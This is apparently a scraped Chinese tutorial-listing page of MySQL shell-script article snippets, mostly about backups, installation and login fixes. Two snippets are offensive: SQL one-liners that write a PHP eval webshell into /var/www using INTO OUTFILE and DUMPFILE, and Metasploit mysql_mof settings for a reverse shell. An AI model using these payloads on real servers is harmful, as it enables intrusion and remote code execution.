【shell 练习(07)——MySQL 数据库备份】教程文章相关的互联网学习教程文章

mysql拿webshell总结

php eval($_POST[jumbo]) ?>‘ into outfile ‘/var/www/jumbo.php‘; 2、select ‘<?php eval($_POST[jumbo]) ?>‘ into dumpfile ‘/var/www/jumbo.php‘; 3、Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES(‘<?php eval($_POST[jumbo]) ?>‘);Select cmd from temp into out file ‘/var/www/jumbo.php‘;Drop TABLE IF EXISTS temp; 4、phpmyadmin导入.sql.zip 5、source /t...

mysql mof+metasploit反弹shell【代码】【图】

鉴于上篇文章 http://z2ppp.blog.51cto.com/11186185/1975985 mysql mof提权metasploit已经有针对该方式的利用代码,原理还是一样生成mof文件,只是metasploit中可以使用到反弹技术,就不用额外添加用户,前提是对方服务器允许访问公网use exploit/windows/mysql/mysql_mof set password xxx //设置登录mysql的密码 set username xxx //设置登录mysql的用户 set rhost xxx //设置要登录的ip地址 set rport xxxx /...

MySql一键安装shell脚本【代码】

#!/bin/bash #data:20171104 #QQ:654996537 #Name:Zhang #判断是否是root用户 if [ $(id -u) != "0" ]; then echo " Not the root user! Try using sudo Command ! " exit 1 fi #安装依赖包 yum -y groupinstall "Desktop Platform Development" yum install -y gd-devel libjpeg-devel libpng-devel libxml2-devel bzip2-devel libcurl-devel libmcrypt libmcrypt-devel zlib-devel net-snmp-devel openssl cma...

(转)企业Shell实战-MySQL分库分表备份脚本

本文来自 http://www.xuliangwei.com/xubusi/252.html 免费视频讲解见 http://edu.51cto.com/course/course_id-5064.html 企业Shell实战-MySQL分库分表备份 今天是2015年的最后一天,大家都开心的跨年,而我还在苦逼的呵呵—省略 此处内容来自老男孩教育oldboy以及老男孩26期王续精彩分享整理而来 为表示感谢,特整理此篇博文分享给大家! 项目联系笔者QQ:572891887 也可以加入架构师交流群:471443208 进行交流 [root@db02 sc...

如何在shell下免密码快速登陆MySQL数据库?【代码】

由于 .my.cnf 文件中明文写了你的密码,因此要注意设置这个文件的文件权限root@test:~# chmod 400 ~/.my.cnf保存后,我们就可以直接使用 mysql 命令登陆 MySQL 数据库了本文出自 “夜色” 博客,请务必保留此出处http://liuqun.blog.51cto.com/3544993/1984022如何在shell下免密码快速登陆MySQL数据库?标签:mysql本文系统来源:http://liuqun.blog.51cto.com/3544993/1984022

Shell 脚本备份MySQL数据库

<2>重启MySQL数据库 service mysqld restart <3>进入数据库命令行模式 创建3个数据库,分别在3个数据库中创建3张表,在表中插入一条数据 create database jfedu; use jfedu; create table t1(id varchar(20),name varchar(20)); insert into t1 values("1","daqi"); desc t1; select * from t1; 注释: 不要忘记验证数据库,表 ,数据是否都已经创建成功 <4>授权一...

mysqldump完全备份shell脚本

#!/bin/bash #?Date:2017-10 #?Version:0.1 #?Description:db_user="root" myisam_db="mysql" db_passwd="123456" host="localhost" backup_dir="/opt/backup/mysql/sql" log_file="/opt/backup/mysql/sql/mysql_backup.log" keep_days=30 mysql="$(which?mysql)" mysqldump="$(which?mysqldump)" db_list=$(mysql?-h$host?-u$db_user?-p$db_passwd?-e?‘show?databases‘|egrep?-v?‘Database|information_schema|mysql|performan...

mysql 使用shell时出现 ERROR 2006 (HY000): MySQL server has gone away 解决方法【代码】【图】

(HY000): MySQL server has gone away No connection. Trying to reconnect... Connection id: 571 Current database: sometable在windows 上 网上用了很多方法 都不管用 后来测试中发现直接设置SET SESSION wait_timeout=600;之后就不会再重新连接了 mysql 使用shell时出现 ERROR 2006 (HY000): MySQL server has gone away 解决方法标签:window nec sql trying div cti 方法 ... base 本文系统来源:http:/...

shell 下执行mysql 命令

优点:语句简单 缺点:支持的sql相对简单 方案2 准备一个sql脚本,名字为update.sql,例如: CREATE TABLE `user` ( `id` varchar(36) NOT NULL COMMENT ‘主键‘, `username` varchar(50) NOT NULL COMMENT ‘用户名‘, `password` varchar(50) NOT NULL COMMENT ‘用户密码‘, `createdate` date NOT NULL COMMENT ‘创建时间‘, `age` int(11) NOT NULL COMMENT ‘年龄‘, PRIMARY KEY (`id`) ) E...

shell脚本一键安装mysql5.7.x【代码】

使用脚本一键安装mysql5.7.x,初始化数据库。启动数据库---- mysql版本号:源代码mysql5.7.10 linux版本号:centos6.5 x86_64#!/bin/bashGROUP_NAME=mysql USER_NAME=mysql MYSQLDB_HOME=/home/mysql/mysql MYSQLDB_DATA_HOME=/home/mysql/mysql/data ERROR_EXIT=65 MYSQL_VERSION="mysql-5.7.10" CMAKE_VERSION="cmake-3.4.3" BOOST_VERSION="boost_1_59_0" CPU_NUMBERS=$(cat /proc/cpuinfo |grep "processor"|wc -l) MYSQL_ID=`i...

mysql用shell脚本链接数据库进行操作

使用 mysql -e 参数可以执行各种 sql 的各种操作语句。不用在mysql的提示符下运行mysql,即可以在shell中操作mysql的方法。格式:mysql -hhostname -Pport -uusername -ppassword -e “” #!/bin/bash   HOSTNAME="192.168.70.161" #数据库服务器地址PORT="3306"USERNAME="root"PASSWORD="123456" DBNAME="test_db_test" #数...

mysql 安装完毕后登陆不了mysql的 shell 即mysql&amp;gt;遇到:ERROR 1045 (28000): Access denied for user &#39;root&#39;@&#39;localhost‘

遇到:ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: NO) 网上找了非常多的文章还是没有解决我的问题; 1.首先能够确认的是mysql 命令行 sql命令关键字是不区分大写和小写。在mysql 5.1.51版本号; 2.先将正常启动的mysqld stop掉。 3.再以绕过root口令检查的方式?启动 mysqld; 4.查询 user 表,发现user表是空的。insert 一个 root 用户, 关闭mysqld,正常启动mysqld,用root用户,新的...

Linux中源码包安装MySQL的shell脚本

#!/bin/bash#安装MYSQL yum -y install ncurses-develyum -y install autoconftar zxf /cmake- -C /cd /cmake-./configure && gmake && gmake installcdgroupadd mysqluseradd -M -s /sbin/nologin/ mysql -g mysqltar zxf /mysql- -C /usr/srccd /usr/src/mysql-cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DSYSCONFDIR=/etc/ -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci -DWITH_EXTRA_CHARSETS=allmake &&...

Shell_mysql命令以及将数据导入Mysql数据库【代码】

mysql -h${db_ip} -u${db_user} -p${db_pawd} -P${db_port} -D${db_name} -s -e "${sql}"  db_ip:主机地址db_user :数据库用户名db_pwd:密码db_port:端口号db_name:数据库名称sql:执行语句【增删查改】 将数据导入MYSQL数据库load data [local] in file ‘${data_source}‘ into table ${table_name} field terminated by ‘${data_split}‘  data_source:数据文件    table_name:导入的表名    data_split:...

shell 练习(07)——MySQL 数据库备份【代码】

1. 题目 设计一个 shell 脚本来备份数据库,首先在本地服务器上保存一份数据,然后再远程拷贝一份,本地保存一周的数据,远程保存一个月。 假定,我们已经知道了 mysql root 账户密码,要备份的数据库为 wenming ,本地备份目录为 /data/backup/mysql,远程服务器 ip 为 192.168.12.34 ,远程提供了一个 rsync 服务,备份的地址是 192.168,12.34::backup . 写完脚本后,需要加入到cron 中,每天凌晨 3 点执行。 2. 习题分析首先要会写...

备份 - 相关标签